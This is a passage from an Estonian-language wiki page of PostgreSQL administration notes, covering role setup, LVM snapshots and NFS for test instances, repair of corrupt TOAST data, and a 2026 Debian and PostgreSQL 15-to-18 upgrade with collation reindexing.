  postgres | postgres |    2424 |               | f       | 2013-03-08 10:37:24.551676+02 | select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  prtaal   | postgres |    1673 | 172.19.10.142 | t       | 2013-03-08 09:49:11.287969+02 | SELECT count(*) AS rows FROM ONLY pw.logi&lt;br /&gt;
  prtaal   | postgres |   21303 |               | f       | 2013-03-08 09:22:40.516297+02 | ALTER TABLE ONLY logi&lt;br /&gt;
                                                                                         :     ADD CONSTRAINT logi_pkey PRIMARY KEY (log_id);&lt;br /&gt;
&lt;br /&gt;
* Suuremate tabelite nimekirja esitamine, koos vastavate indexite ja toastidega&lt;br /&gt;
&lt;br /&gt;
 SELECT nspname || '.' || relname AS &amp;quot;relation&amp;quot;,&lt;br /&gt;
    pg_size_pretty(pg_total_relation_size(C.oid)) AS &amp;quot;size&amp;quot;&lt;br /&gt;
   FROM pg_class C&lt;br /&gt;
   LEFT JOIN pg_namespace N ON (N.oid = C.relnamespace)&lt;br /&gt;
   WHERE nspname NOT IN ('pg_catalog', 'information_schema') and relkind='r'&lt;br /&gt;
   ORDER BY pg_total_relation_size(C.oid) DESC&lt;br /&gt;
   LIMIT 20;&lt;br /&gt;
&lt;br /&gt;
* pg_controldata programmiga saab küsida infot andmeklustri kohta, protsessid võiksid sel ajal pigem mitte töötada&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.2/bin/pg_controldata /var/lib/postgresql/9.2/main &lt;br /&gt;
 pg_control version number:            922&lt;br /&gt;
 Catalog version number:               201204301&lt;br /&gt;
 Database system identifier:           6004185537552842495&lt;br /&gt;
 Database cluster state:               in production&lt;br /&gt;
 pg_control last modified:             Tue Oct  7 15:01:55 2014&lt;br /&gt;
 Latest checkpoint location:           1CC/83B86EE0&lt;br /&gt;
 Prior checkpoint location:            1CC/83AD1C30&lt;br /&gt;
 Latest checkpoint's REDO location:    1CC/83B7B2C8&lt;br /&gt;
 Latest checkpoint's TimeLineID:       2&lt;br /&gt;
 Latest checkpoint's full_page_writes: on&lt;br /&gt;
 Latest checkpoint's NextXID:          0/160131529&lt;br /&gt;
 Latest checkpoint's NextOID:          98092825&lt;br /&gt;
 Latest checkpoint's NextMultiXactId:  13515&lt;br /&gt;
 Latest checkpoint's NextMultiOffset:  27409&lt;br /&gt;
 Latest checkpoint's oldestXID:        675&lt;br /&gt;
 Latest checkpoint's oldestXID's DB:   1&lt;br /&gt;
 Latest checkpoint's oldestActiveXID:  0&lt;br /&gt;
 Time of latest checkpoint:            Tue Oct  7 15:01:50 2014&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* defaultist erineva collate ja ctype väärtustega create database baasi tekitamine, eelduseks on, et kõik baasid on UTF-8 kodeeringus&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database db_jira_c template = template0 lc_collate = 'C.UTF-8' lc_ctype='C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
tulemusena on&lt;br /&gt;
&lt;br /&gt;
 postgres=# \l&lt;br /&gt;
                                     List of databases&lt;br /&gt;
      Name     |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges   &lt;br /&gt;
 --------------+------------+----------+-------------+-------------+----------------------&lt;br /&gt;
 .. &lt;br /&gt;
  db_jira      | jira       | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | &lt;br /&gt;
  db_jira_c    | postgres   | UTF8     | C.UTF-8     | C.UTF-8     | &lt;br /&gt;
  template0    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
  template1    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
&lt;br /&gt;
===Rakendus kasutab andmebaasi===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasis vaikimis olemas oleva kasutaja nimi on postgres ja seal on olemas create database postgres. Neid kumbagi ei tohiks kasutada rakenduse andmete jaoks. Seoses rakendusega on andmebaasis juurutatud &lt;br /&gt;
&lt;br /&gt;
* kasutaja rakendusenimi_admin - sellele kasutajale kuuluvad rakendusega seotud andmebaasi objektid (skeemid, tabelid, funktsioonid jne); kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* kasutaja rakendusenimi_user - selle kasutajana pöördub baasi poole rakendus, kasutajale on antud grant lausete abil õigus kuhu vaja teha select, update jms; kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* create database andmebaas rakenduse_baas - selle ja kõigi seal sisalduvate objektide omanik on rakendusenimi_admin, kusjuures rakendus ei tohiks kasutada public skeemi vaid spetsiifiliste nimedega skeeme&lt;br /&gt;
&lt;br /&gt;
Selline tulemus tekib nt sellise järgnevuse tulemusena&lt;br /&gt;
&lt;br /&gt;
* ühendutakse uude tühja PostgreSQL andmebaasi kasutajana postgres ning tekitatakse kaks mitte-superuser kasutajat&lt;br /&gt;
* ühendutakse uude PostgreSQL andmebaasi kasutajana postgres ning tekitatakse rakenduse jaoks create database rakenduse_baas näidates omaniku&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; create database rakenduse_baas owner = rakendusenimi_admin;&lt;br /&gt;
&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja tekitatakse andmebaasiobjektid (skeemid, tabelid jne)&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja lisatakse vajalikud grantid rakendusenimi_user jaoks&lt;br /&gt;
&lt;br /&gt;
Oluline on seejuures, et andmebaasi rakenduse_baas süsteemseid objekte ei muudeta ära postgres kasutaja omandusest (nt create database rakendusenimi_baas skeemid information_schema või pg_catalog).&lt;br /&gt;
&lt;br /&gt;
Kui selliselt moodustatud baasist (või mõnest osast, nt skeem, tabel) teha postgres või rakendusenimi_admin kasutajana dump, siis on seal automaatselt sees vajalikud alter ja grant laused. Kui mõnes teises PostgreSQL andmebaasiserveris on olemas kasutajad rakendusenimi_admin ja rakendusenimi_user, siis saab sinna mainitud dumpi laadida sisse postgres või rakendusenimi_admin kasutajana ning tekivad sobivate omanikega ja grantidega objektid.&lt;br /&gt;
&lt;br /&gt;
===LVM, NFS ja PostgreSQL kasutamine andmebaasi hooldustöös===&lt;br /&gt;
&lt;br /&gt;
Toetudes sellistele asjaoludele, saab kasutada kiireid ja mugavaid haldusprotseduure&lt;br /&gt;
&lt;br /&gt;
* Debiani ja Ubuntu paketihalduse PostgreSQL sisaldab võimalust hästi hõlpsasti käivatada ühes arvutis st operatsioonisüsteemis mitut andmebaasi eksemplari (st postgres protsesside komplekti)&lt;br /&gt;
* LVM plokkseadme haldusvahendid&lt;br /&gt;
* NFS serveri ja kliendi võimalused&lt;br /&gt;
&lt;br /&gt;
====LVM kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Käesolevas punktis juhitakse tähelepanu kuidas PostgreSQL töös kasutada ära LVM võimalusi. Põhiliselt seisneb see LVM snapshot kasutamisel. Eelduseks on , et operatsioonisüsteemis on LVM tugi olemas (reeglina on see nii paratamatult) ning seda kasutatakse andmebaasi failisüsteem all, nt nii&lt;br /&gt;
&lt;br /&gt;
 # df -h&lt;br /&gt;
 Filesystem                                           Size  Used Avail Use% Mounted on&lt;br /&gt;
 ..&lt;br /&gt;
 /dev/mapper/pgdata-data_postgresql                   158G  135G   16G  90% /var/lib/postgresql&lt;br /&gt;
 /dev/mapper/pgdata-data_backup                        36G   25G  9.2G  73% /data/backup&lt;br /&gt;
&lt;br /&gt;
LVM snapshot kasutamine annab võimaluse kasutada ajahetkel vastavat baasi seisu nö lühiajaliseks katseks (ajalise kestuse võimaluse määrab LVM snapshotile eraldatud mahu ressursi suurus; nb! kui näidatud maht saab täis jääb baas seisma ja enam andmetele vähemalt kergesti ligi ei pääse)&lt;br /&gt;
&lt;br /&gt;
* peatada baasi protsessid&lt;br /&gt;
* ühendada lahti /var/lib/postgresql failisüsteem&lt;br /&gt;
* tekitada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvcreate -L 40G -s -n data_postgresql_20150326_tootanud /dev/pgdata/data_postgresql&lt;br /&gt;
&lt;br /&gt;
* ühendada snapshot failisüsteem /var/lib/postgresql alla&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
* käitada baasi protsessid&lt;br /&gt;
&lt;br /&gt;
Peale katse lõppu &lt;br /&gt;
&lt;br /&gt;
* peatada protsessid&lt;br /&gt;
* ühendada snapshoti failisüsteem lahti&lt;br /&gt;
* kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvremove /dev/pgdata/data_postgresql_20150326_tootanud&lt;br /&gt;
&lt;br /&gt;
* ühedada algne failisüsteem külge&lt;br /&gt;
* käivitada protsessid&lt;br /&gt;
&lt;br /&gt;
Lisaks on võimalus käivitada kaks PostgreSQL eksemplari paraleelselt, selleks tuleb tekida snapshot nagu kirjeldatud, käivitada tagasi originaal ning valmistada ette teise (st snapshotilt töötava) andmebaasi eksemplari seadistused&lt;br /&gt;
&lt;br /&gt;
 # cp -a /etc/postgresql/9.4/main /etc/postgresql/9.4/test&lt;br /&gt;
&lt;br /&gt;
ning kohendada postgresql.conf seadistusfailis parameetreid&lt;br /&gt;
&lt;br /&gt;
* data kataloog&lt;br /&gt;
* pid fail&lt;br /&gt;
* archive log välja lülitada&lt;br /&gt;
* logi kataloog&lt;br /&gt;
* port - nt 5433&lt;br /&gt;
* ressursikasutus üle vaadata (shared_buffers, max_connections)&lt;br /&gt;
&lt;br /&gt;
nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # diff /etc/postgresql/9.4/main/postgresql.conf /etc/postgresql/9.4/test/postgresql.conf&lt;br /&gt;
 &amp;lt; data_directory = '/var/lib/postgresql/9.4/main'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; data_directory = '/var/lib/postgresql/9.4/test'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; hba_file = '/etc/postgresql/9.4/main/pg_hba.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; hba_file = '/etc/postgresql/9.4/test/pg_hba.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; ident_file = '/etc/postgresql/9.4/main/pg_ident.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; ident_file = '/etc/postgresql/9.4/test/pg_ident.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; external_pid_file = '/var/run/postgresql/9.4-main.pid'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; external_pid_file = '/var/run/postgresql/9.4-test.pid'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; port = 5432&lt;br /&gt;
 &amp;lt; max_connections = 100&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; port = 5433&lt;br /&gt;
 &amp;gt; max_connections = 30&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; shared_buffers = 2GB&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; shared_buffers = 384MB&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; archive_mode = off&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; # archive_mode = off&lt;br /&gt;
  &lt;br /&gt;
 &amp;lt; stats_temp_directory = '/var/run/postgresql/9.4-main.pg_stat_tmp'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; stats_temp_directory = '/var/run/postgresql/9.4-test.pg_stat_tmp'&lt;br /&gt;
&lt;br /&gt;
ühendada külge sobivasse punkti failisüsteemis, nt&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/lib/postgresql/9.2/test&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
ning käivitada teine eksemplar&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.4 test start&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kaks eksemplari&lt;br /&gt;
&lt;br /&gt;
 # pg_lsclusters &lt;br /&gt;
 Ver Cluster    Port Status Owner    Data directory                  Log file&lt;br /&gt;
 9.2 main       5432 online postgres /var/lib/postgresql/9.2/main    /var/log/postgresql/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
 9.2 test       5433 online postgres /var/lib/postgresql/9.2/test    /var/log/postgresql-test/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
&lt;br /&gt;
Kui LVM snapshot tehti töötavast andmeklastri kataloogist, siis saab käivitamisel sellise veateate&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 test start&lt;br /&gt;
 Cluster is already running.&lt;br /&gt;
&lt;br /&gt;
Teda segab selline fail, mis tuleb eemaldada&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/postgresql/9.2/test/postmaster.pid &lt;br /&gt;
 2025&lt;br /&gt;
 /var/lib/postgresql/9.2/main&lt;br /&gt;
 1473969248&lt;br /&gt;
 5432&lt;br /&gt;
 /var/run/postgresql&lt;br /&gt;
&lt;br /&gt;
====NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
PostgreSQL töötab põhimõtteliselt ilusti üle NFS külge ühendatud failisüsteemiga. Seejuures tuleb muidugi arvestada, et NFS ressursi jõudlus ei ole tingimata selliste omadustega nagu lokaalne või FC ressurss. NFS ja LVM kombineerimine eemaldab eelmises punktis kirjeldatud tegevustelt samas arvutis töötamise piirangu. St võimalik on LVM snapshotilt käivitada andmebaas teises arvutis. Selleks tuleb &lt;br /&gt;
&lt;br /&gt;
* moodustada LVM snaphost&lt;br /&gt;
* snapshot failisüsteem ühendada külge nagu kirjeldatud eelmises punktis (NB! mitte käivitada lokaalselt sealt protsesse, vastasel juhul tekib konflikt kuna samu andmebaasi faile kasutatakse kahest arvutist sõltumatult)&lt;br /&gt;
* Seejärel tuleb jagada snapshoti failisüsteem välja NFS serveris (10.100.13.159 on NFS klient)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/exports&lt;br /&gt;
 /var/lib/postgresql/9.2/test      10.100.13.159(rw,sync,no_subtree_check)&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # /etc/init.d/nfs-kernel-server reload&lt;br /&gt;
&lt;br /&gt;
* kliendi arvutis külge ühendada (10.100.13.174 on NFS server)&lt;br /&gt;
&lt;br /&gt;
 # mount 10.100.13.174:/var/lib/postgresql/9.2/test /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
* edasi kasutada sarnaselt kui eelmises punktis teist eksemplari&lt;br /&gt;
&lt;br /&gt;
====LVM ja NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Kahe eelmise punkti üks variantsioon on võimalus mugavalt läbi proovida andmebaasi versiooni uuendamist pg_upgrade utiliidi abil. St teises arvutis on siis olemas&lt;br /&gt;
&lt;br /&gt;
* snapshotilt tulev vana baasi failisüsteem üle NFS&lt;br /&gt;
* peab olema vana baasi versioonile vastav tarkvara paigaldatud lokaalselt (nt v. 8.4)&lt;br /&gt;
* uue baasi versiooni tarkvara paigaldatud lokaalselt (nt v. 9.4)&lt;br /&gt;
&lt;br /&gt;
Ja tulemusena peab saama öelda nö&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_upgrade -b /usr/lib/postgresql/8.4/bin -B /usr/lib/postgresql/9.4/bin -d /var/lib/postgresql/8.4/test \&lt;br /&gt;
   -D /var/lib/postgresql/9.4/test -p 5432 -P 5433 -o ' -D /etc/postgresql/8.4/test' -O ' -D /etc/postgresql/9.4/test' -c&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vigade parandamine===&lt;br /&gt;
&lt;br /&gt;
====XXX viga====&lt;br /&gt;
&lt;br /&gt;
Probleemiks on baasi dump käigus tekkiv viga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_dump -p 5435 -Fc -f baasinimi.dump baasinimi&lt;br /&gt;
pg_dump: Dumping the contents of table &amp;quot;failid&amp;quot; failed: PQgetResult() failed.&lt;br /&gt;
pg_dump: Error message from server: ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
pg_dump: The command was: COPY public.failid (faili_id, yhistu_id, perioodi_id, arve_id, dokumendi_id, ...) TO stdout;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tööpõhimõte&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
failid2 tabeli tekitamiseks sobib öelda (nb! ei tekitata constrainitisid jms)&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select * into failid2 from failid limit 1;&lt;br /&gt;
 baasinimi=# delete from failid2;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete leidmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-- FUNCTION: public.imre10(integer, integer)&lt;br /&gt;
&lt;br /&gt;
-- DROP FUNCTION public.imre10(integer, integer);&lt;br /&gt;
&lt;br /&gt;
CREATE OR REPLACE FUNCTION public.imre10(&lt;br /&gt;
	integer,&lt;br /&gt;
	integer)&lt;br /&gt;
    RETURNS character varying&lt;br /&gt;
    LANGUAGE 'plpgsql'&lt;br /&gt;
&lt;br /&gt;
    COST 100&lt;br /&gt;
    VOLATILE &lt;br /&gt;
AS $BODY$&lt;br /&gt;
DECLARE&lt;br /&gt;
    badid INT;&lt;br /&gt;
	vfaili_id integer;&lt;br /&gt;
	vyhistu_id integer;&lt;br /&gt;
	vperioodi_id integer;&lt;br /&gt;
	varve_id integer;&lt;br /&gt;
	vdokumendi_id integer;&lt;br /&gt;
        ...&lt;br /&gt;
	loc varchar;&lt;br /&gt;
BEGIN&lt;br /&gt;
FOR badid IN SELECT faili_id FROM failid LOOP&lt;br /&gt;
    BEGIN&lt;br /&gt;
        select faili_id into vfaili_id FROM failid where faili_id = badid;&lt;br /&gt;
        select yhistu_id into vyhistu_id FROM failid where faili_id = badid;&lt;br /&gt;
	select perioodi_id into vperioodi_id FROM failid where faili_id = badid;&lt;br /&gt;
	select arve_id into varve_id FROM failid where faili_id = badid;&lt;br /&gt;
	select dokumendi_id into vdokumendi_id from failid where faili_id = badid;&lt;br /&gt;
        ...&lt;br /&gt;
	insert into failid2 (faili_id, yhistu_id, arve_id, dokumendi_id, ...) values (vfaili_id, vyhistu_id, varve_id, vdokumendi_id, ...);&lt;br /&gt;
        -- RAISE NOTICE 'Hello World %', badid::int;&lt;br /&gt;
    EXCEPTION&lt;br /&gt;
        WHEN OTHERS THEN&lt;br /&gt;
           RAISE NOTICE 'Data for ID % is corrupt', badid;&lt;br /&gt;
           CONTINUE;&lt;br /&gt;
    END;&lt;br /&gt;
END LOOP;&lt;br /&gt;
return 'tere';&lt;br /&gt;
END;&lt;br /&gt;
$BODY$;&lt;br /&gt;
&lt;br /&gt;
ALTER FUNCTION public.imre10(integer, integer)&lt;br /&gt;
    OWNER TO imre;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select imre10(1, 1);&lt;br /&gt;
NOTICE:  Data for ID 2594124 is corrupt&lt;br /&gt;
NOTICE:  Data for ID 2594125 is corrupt&lt;br /&gt;
 imre10&lt;br /&gt;
--------&lt;br /&gt;
 tere&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete kustutamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594124';&lt;br /&gt;
ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594125';&lt;br /&gt;
ERROR:  unexpected chunk number 62 (expected 60) for toast value 241844882 in pg_toast_62025918&lt;br /&gt;
&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594124';&lt;br /&gt;
DELETE 1&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594125';&lt;br /&gt;
DELETE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/message-id/CACut7uSkZrpFHtDEq6UCoOd5fMpXDvmhzGSh=ZHJx86Ac=nOUg@mail.gmail.com&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# table pg_hba_file_rules;&lt;br /&gt;
 line_number | type  |   database    | user_name  |  address  |                 netmask                 | auth_method | options | error &lt;br /&gt;
-------------+-------+---------------+------------+-----------+-----------------------------------------+-------------+---------+-------&lt;br /&gt;
          85 | local | {all}         | {postgres} |           |                                         | peer        |         | &lt;br /&gt;
          90 | local | {all}         | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          92 | host  | {all}         | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          94 | host  | {all}         | {all}      | 0.0.0.0   | 0.0.0.0                                 | md5         |         | &lt;br /&gt;
          97 | local | {replication} | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          98 | host  | {replication} | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          99 | host  | {replication} | {all}      | ::1       | ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff | md5         |         | &lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===2026 kevade märkused===&lt;br /&gt;
&lt;br /&gt;
* lähtepunktiks on töötav debian v. 11 ja pgdg v. 15 postgresql andmebaas, pgbackrest on kasutusel varundamiseks ssh serverisse, zabbix agent2&lt;br /&gt;
* disableda systemd abil postgresql ja postgresql@15-main, /etc/fstab kommenteerida välja '/var/lib/postgresql', virtuaalse pve arvuti shutdown ja teha pbs varundus mitte-töötavast arvutist&lt;br /&gt;
* eemaldada zabbix-agent2 pakett&lt;br /&gt;
* arvuti käivitada ja uuendada 11 -&amp;gt; 12 -&amp;gt; 13 debian operatsioonisüsteem ja pgdg tarkvara (muutes bullseye -&amp;gt; bookworm -&amp;gt; trixie apt sources konfis)&lt;br /&gt;
* veenduda et /etc/postgresql-common/pgcreatecluster.d/moraal.conf on sobiva sisuga, vt all pool&lt;br /&gt;
* paigaldada postgresql-18 pakett&lt;br /&gt;
* monteerida külge '/var/lib/postgresql'&lt;br /&gt;
* teha igaks juhuks koopia /var/lib/postgreql/15/main kataloogist&lt;br /&gt;
* käivitada uuendatud olukorras postgresql v. 15 ja korrigeerida libc uuendusest tulenevad probleemid, vt all pool&lt;br /&gt;
* uuendada postgresql andmestik pg_clusterupgrade abil 15 -&amp;gt; 18, analyze jne (pg_clusterupgrade väljund õpetab)&lt;br /&gt;
* enableda systemd abil postgresql ja postgresql@18-main&lt;br /&gt;
* paigaldada zabbix-agent2 pakett (seejuures vist tekib automaatselt pinning /etc/apt/preferences.d/zabbix abil repo.zabbix.com peale või versioonile)&lt;br /&gt;
&lt;br /&gt;
====pg v. 15 all Debian v 11 -&amp;gt; v 13 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt ei tegele postgresql tarkvara enda uuendamisega, aga postgresqli sama versiooni mõjutava libc uuenduse mõjuga, Debian v 11 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.31-13+deb11u13 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja Debian v 13 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.41-12+deb13u2 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
probleem paistab välja logis nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2026-05-12 23:05:36.689 EEST [3152] LOG:  starting PostgreSQL 15.17 (Debian 15.17-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv4 address &amp;quot;0.0.0.0&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv6 address &amp;quot;::&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.691 EEST [3152] LOG:  listening on Unix socket &amp;quot;/var/run/postgresql/.s.PGSQL.5432&amp;quot;&lt;br /&gt;
2026-05-12 23:05:36.697 EEST [3155] LOG:  database system was shut down at 2026-05-12 22:18:29 EEST&lt;br /&gt;
2026-05-12 23:05:36.707 EEST [3152] LOG:  database system is ready to accept connections&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE template1 REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
WARNING:  database &amp;quot;postgres&amp;quot; has a collation version mismatch&lt;br /&gt;
DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE postgres REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
psql (18.3 (Debian 18.3-1.pgdg13+1), server 15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* andmebaas kurdab, et binary data on tekitqtud libc v. 2.31 koosseisus oleva collationi abil ja praegu süsteem kasutab libc v. 2.41&lt;br /&gt;
&lt;br /&gt;
lahendus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@test-db:~$ reindexdb --all 1&amp;gt; reindexdb-all.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
psql (15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;template1&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;db_infosysteem&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;postgres&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* reindexdb on käsk mis tuleb anda töötava baasi suhtes (mitte failisüsteemis lebavate binary data failide suhtes)&lt;br /&gt;
* pigem mitte kasutada reindexdb concurrency võimalusi (tundub, et ta ei tööta teatud tabelitega vms, tekitab .ccnew nimelisi laokile jäävaid indekseid; samas teadlikult kasutades võib olla abi)&lt;br /&gt;
* reindex muudab andmeid&lt;br /&gt;
* alter database .. refresh collation muudab nö raamatupidamist (tehniliselt saaks teha näiliselt baasi korda ka ilma reindex käsku ütlemata, aga küllap loodus sekkub varsti sel juhul)&lt;br /&gt;
&lt;br /&gt;
Tulemuse kontrollimine, veenduda, et pole katkisi indekseid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT relname as index_name&lt;br /&gt;
FROM pg_class c&lt;br /&gt;
JOIN pg_index i ON c.oid = i.indexrelid&lt;br /&gt;
WHERE i.indisvalid = false;&lt;br /&gt;
 index_name&lt;br /&gt;
------------&lt;br /&gt;
(0 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning, et peale muudatusi on datcollversion sobiva väärtusega (uuemaga kui enne muudatust, näiteks)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT datname, datcollversion FROM pg_database;&lt;br /&gt;
         datname          | datcollversion&lt;br /&gt;
--------------------------+----------------&lt;br /&gt;
